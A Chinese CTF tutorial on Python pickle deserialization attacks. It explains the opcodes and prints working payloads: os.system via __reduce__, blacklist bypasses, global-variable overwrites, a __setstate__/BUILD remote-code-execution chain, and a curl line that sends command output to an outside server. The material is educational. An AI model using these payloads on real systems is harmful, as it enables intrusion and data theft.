1 2 3 4 5 6 7 8 9 10 11 12 b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.' 0: c GLOBAL 'nt system' 11: p PUT 0 14: ( MARK 15: V UNICODE 'whoami' 23: p PUT 1 26: t TUPLE (MARK at 14) 27: p PUT 2 30: R REDUCE 31: p PUT 3 34: . STOP highest protocol among opcodes = 0
翻译的每个具体命令上面都有写
因为 0 版本更容易构造,手写用 0 版本手写
接下来的手搓 opcode 就有些离谱了,看这篇吧
python 反序列化~Misaki’s Blog (misakikata.github.io)
# __reduce__(R 指令)
ctf 中大多数常见的 pickle 反序列化,利用方法大都是 __reduce__
触发 __reduce__ 的指令码为 R ,干了这么一件事情:
取当前栈的栈顶记为 args ,然后把它弹掉。
取当前栈的栈顶记为 f ,然后把它弹掉。
以 args 为参数,执行函数 f ,把结果压进当前栈。
class 的 __reduce__ 方法,在 pickle 反序列化的时候会被执行。其底层的编码方法,就是利用了 R 指令码。 f 要么返回字符串,要么返回一个 tuple,后者对我们而言更有用。
一种很流行的攻击思路是:利用 __reduce__ 构造恶意字符串,当这个字符串被反序列化的时候, __reduce__ 会被执行。
正常的字符串反序列化后,得到一个 Student 对象。我们想构造一个字符串,它在反序列化的时候,执行 dir 指令。那么我们只需要这样得到 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import os import pickletools import pickle class Student(): def __init__(self): self.name = 'sb' self.grade = 'zz' def __reduce__(self): return (os.system,('dir',)) payload = pickle.dumps(Student()) payload = pickletools.optimize(payload) print(payload) pickletools.dis(payload)
1 2 3 4 5 6 7 8 b'\x80\x03cnt\nsystem\nX\x03\x00\x00\x00dir\x85R.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: X BINUNICODE 'dir' 21: \x85 TUPLE1 22: R REDUCE 23: . STOP highest protocol among opcodes = 2
现在把 payload 拿给正常的程序(Student 类里面没有 __reduce__ 方法)去解析:
1 2 3 4 5 6 7 8 9 import os import pickletools import pickle class Student(): def __init__(self): self.name = 'sb' self.grade = 'zz' res = pickle.loads(b'\x80\x03cnt\nsystem\nX\x03\x00\x00\x00dir\x85R.')
即使 Student 类是正常的,pickle.loads 仍然执行了 os.system (‘dir’)
1 2 3 4 5 6 7 8 9 10 11 12 C:\Users\18310\AppData\Local\Programs\Python\Python37\python.exe C:/Users/18310/Desktop/serial.py ������ C �еľ��� Windows-SSD ������к��� 4FEC-7D0B C:\Users\18310\Desktop\sec֪ʶ��\Ӧ����Ӧ\py_pickel ��Ŀ¼ 2022/11/24 11:45 <DIR> . 2022/11/24 11:45 <DIR> .. 2022/11/24 11:44 <DIR> .idea 2021/10/07 14:22 16,958 6.png 2022/08/17 21:43 2,938 aaaa.gif 2022/08/17 21:53 <DIR> build
只要在序列化中的字符串中存在 R 指令, __reduce__ 方法就会被执行,无论正常程序中是否写明了 __reduce__
由于 __reduce__ 方法对应的操作码是 R ,只需要把操作码 R 过滤掉 就行了。这个可以很方便地利用 pickletools.genops 来实现。
绕过黑名单
有一种过滤方式:不禁止 R 指令码,但是对 R 执行的函数有黑名单限制。典型的例子是 2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单:
1 black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
可惜 platform.popen() 不在名单里,它可以做到类似 system 的功能。这题死于黑名单有漏网之鱼。
还有一个解,那就是利用 map
1 2 3 class Exploit(object): def __reduce__(self): return map,(os.system,["ls"])
# 全局变量包含覆盖: c 指令码
c 指令码可以用来调用全局的 xxx.xxx 的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import secretimport pickleimport pickletoolsclass flag (): def __init__ (self,a,b ): self.a = a self.b = b your_payload = b'?' other_flag = pickle.loads(your_payload) secret_flag = flag(secret.a,secret.b) if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b: print ('flag{xxxxxx}' ) else : print ('No!' ) a = 'aaaa' b = 'bbbb'
现在的任务是:给出一个字符串,反序列化之后,a 和 b 需要与 secret 这个 module 里面的 a、b 相对应 。
在我们不知道 secret.py 中值的情况下,如何构造满足条件的 payload,拿到 flag
不能用 R 指令码了, c 指令码专门用来获取一个全局变量。
我们先弄一个正常的 Student 来看看序列化之后的效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import os import pickletools import pickle class Student(): def __init__(self): self.name = 'sb' self.grade = 'zz' # def __reduce__(self): # return (os.system,('dir',)) # payload = pickle.dumps(Student()) print(payload) print("--------------") payload = pickletools.optimize(payload) print(payload) print("--------------") pickletools.dis(payload) print("--------------")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 b'\x80\x03c__main__\nStudent\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00sbq\x04X\x05\x00\x00\x00gradeq\x05X\x02\x00\x00\x00zzq\x06ub.' -------------- b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00sbX\x05\x00\x00\x00gradeX\x02\x00\x00\x00zzub.' -------------- 0: \x80 PROTO 3 2: c GLOBAL '__main__ Student' 20: ) EMPTY_TUPLE 21: \x81 NEWOBJ 22: } EMPTY_DICT 23: ( MARK 24: X BINUNICODE 'name' 33: X BINUNICODE 'sb' 40: X BINUNICODE 'grade' 50: X BINUNICODE 'zz' 57: u SETITEMS (MARK at 23) 58: b BUILD 59: . STOP highest protocol among opcodes = 2 --------------
注意看 33 和 50 行的变量值,以 name 的为例,只需要把硬编码的 sb 改成从 secret 引入的 name ,写成指令就是: csecret\nname\n
1 2 3 4 5 6 7 8 9 10 11 12 13 0: \x80 PROTO 3 2: c GLOBAL '__main__ Student' 20: ) EMPTY_TUPLE 21: \x81 NEWOBJ 22: } EMPTY_DICT 23: ( MARK 24: X BINUNICODE 'name' 33: c GLOBAL 'secret name' 40: X BINUNICODE 'grade' 50: c GLOBAL 'secret grade' 57: u SETITEMS (MARK at 23) 58: b BUILD 59: . STOP
1 2 3 原来的:b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.' 现在的: b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'
或者再举个例子
现在的任务是:给出一个字符串,反序列化之后,name 和 grade 需要与 blue 这个 module 里面的 name、grade 相对应 。
正常的 student 类序列化之后的效果:
以 name 的为例,只需要把硬编码的 rxz 改成从 blue 引入的 name ,写成指令就是: cblue\nname\n 。把用于编码 rxz 的 X\x03\x00\x00\x00rxz 替换成我们的这个 global 指令
顺带一提,由于 pickle 导出的字符串里面有很多的不可见字符,所以一般都经过 base64 编码之后传输。
如果你也不能手搓 opcode,看看这两个链接?
cpython/pickle.py at 3.7 · python/cpython (github.com)
anapickle/anapickle.py at master · sensepost/anapickle (github.com)
绕过黑名单
之前提到过, c 指令(也就是 GLOBAL 指令)基于 find_class 这个方法, 然而 find_class 可以被出题人重写。如果出题人只允许 c 指令包含 __main__ 这一个 module,这道题又该如何解决呢
通过 GLOBAL 指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!
通过 __main__.blue 引入这一个 module,由于命名空间还在 main 内,故不会被拦截
把一个 dict 压进栈,内容是 {'name': 'rua', 'grade': 'www'}
执行 BUILD 指令,会导致改写 __main__.blue.name 和 __main__.blue.grade ,至此 blue.name 和 blue.grade 已经被篡改成我们想要的内容
弹掉栈顶,现在栈变成空的
照抄正常的 Student 序列化之后的字符串,压入一个正常的 Student 对象,name 和 grade 分别是’rua’和’www’
由于栈顶是正常的 Student 对象,pickle.loads 将会正常返回。到手的 Student 对象,当然 name 和 grade 都与 blue.name 、blue.grade 对应了 —— 我们刚刚亲手把 blue 篡改掉。
1 payload = b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
1 2 3 4 5 6 7 8 9 10 11 import blue def check(data): if b'R' in data: return 'no reduce!' x = pickle.loads(data) if (x != Student(blue.name, blue.grade)): return 'not equal' return f'well done now blue.grade={blue.grade}' print(check(base64.b64decode(input())))
# 使用 build 指令 rce
__reduce__ 与 R 指令是绑定的,禁止了 R 指令就禁止了 __reduce__ 方法。那么,在禁止 R 指令的情况下,我们还能 RCE 吗?
现在的目标是,利用指令码,构造出任意命令执行。那么我们需要找到一个函数调用 fun(arg) ,其中 fun 和 arg 都必须可控。
审 pickle 源码,来看看 BUILD 指令(指令码为 b )是如何工作的:
这里的实现方式也就是上文的注所提到的:如果 inst 拥有 __setstate__ 方法,则把 state 交给 __setstate__ 方法来处理;否则的话,直接把 state 这个 dist 的内容,合并到 inst.__dict__ 里面。
通过 BUILD 指令与 C 指令的结合,我们可以把改写为 os.system 或其他函数
Student 原先是没有 __setstate__ 这个方法的。那么我们利用 {'__setstate__': os.system} 来 BUILD 这个对象,那么现在对象的 __setstate__ 就变成了 os.system ;接下来利用 "ls /" 来再次 BUILD 这个对象,则会执行 setstate("ls /") ,而此时 __setstate__ 已经被我们设置为 os.system ,因此实现了 RCE.
payload 构造如下:
1 payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'
有一个可以改进的地方:这份 payload 由于没有返回一个 Student,导致后面抛出异常。要让后面无异常也很简单:干完了恶意代码之后把栈弹到空,然后压一个正常 Student 进栈。payload 构造如下:
1 payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStu
具体构造 payload 的方法:
假设我们有一个 flag 类
1 2 3 4 5 6 7 8 9 10 11 12 import pickle import pickletools class flag(): def __init__(self): pass new_flag = pickle.dumps(flag(),protocol=3) print(new_flag) pickletools.dis(new_flag) # your_payload = b'?' # other_flag = pickle.loads(your_payload)
1 2 3 4 5 6 7 8 9 b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: . STOP highest protocol among opcodes = 2
根据 BUILD 的说明,我们需要构造一个字典
1 b'\x80\x03c__main__\nflag\nq\x00)\x81}.'
接下来往字典里放值,先放一个 mark
1 b'\x80\x03c__main__\nflag\nq\x00)\x81}(.'
放键值对
1 b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nu.'
第一次 BUILD
1 b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nub.'
放参数
1 b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\n.'
第二次 BUILD
1 b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
完成
一些补充的细节
一 、** 其他模块的 load 也可以触发 pickle 反序列化漏洞。** 例如: numpy.load() 先尝试以 numpy 自己的数据格式导入;如果失败,则尝试以 pickle 的格式导入。因此 numpy.load() 也可以触发 pickle 反序列化漏洞。
二、即使代码中没有 import os ,GLOBAL 指令也可以自动导入 os.system 。因此,不能认为 “我不在代码里面导入 os 库,pickle 反序列化的时候就不能执行 os.system”。
三、** 即使没有回显,也可以很方便地调试恶意代码。** 只需要拥有一台公网服务器,执行 os.system('curl your_server/ ls / | base64 ) ,然后查询您自己的服务器日志,就能看到结果。这是因为:以 ``` 引号包含的代码,在 sh 中会直接执行,返回其结果。
Python pickle 反序列化详解 - FreeBuf 网络安全行业门户
从零开始 python 反序列化攻击:pickle 原理解析 & 不用 reduce 的 RCE 姿势 - 知乎 (zhihu.com)
python 反序列化~Misaki’s Blog (misakikata.github.io)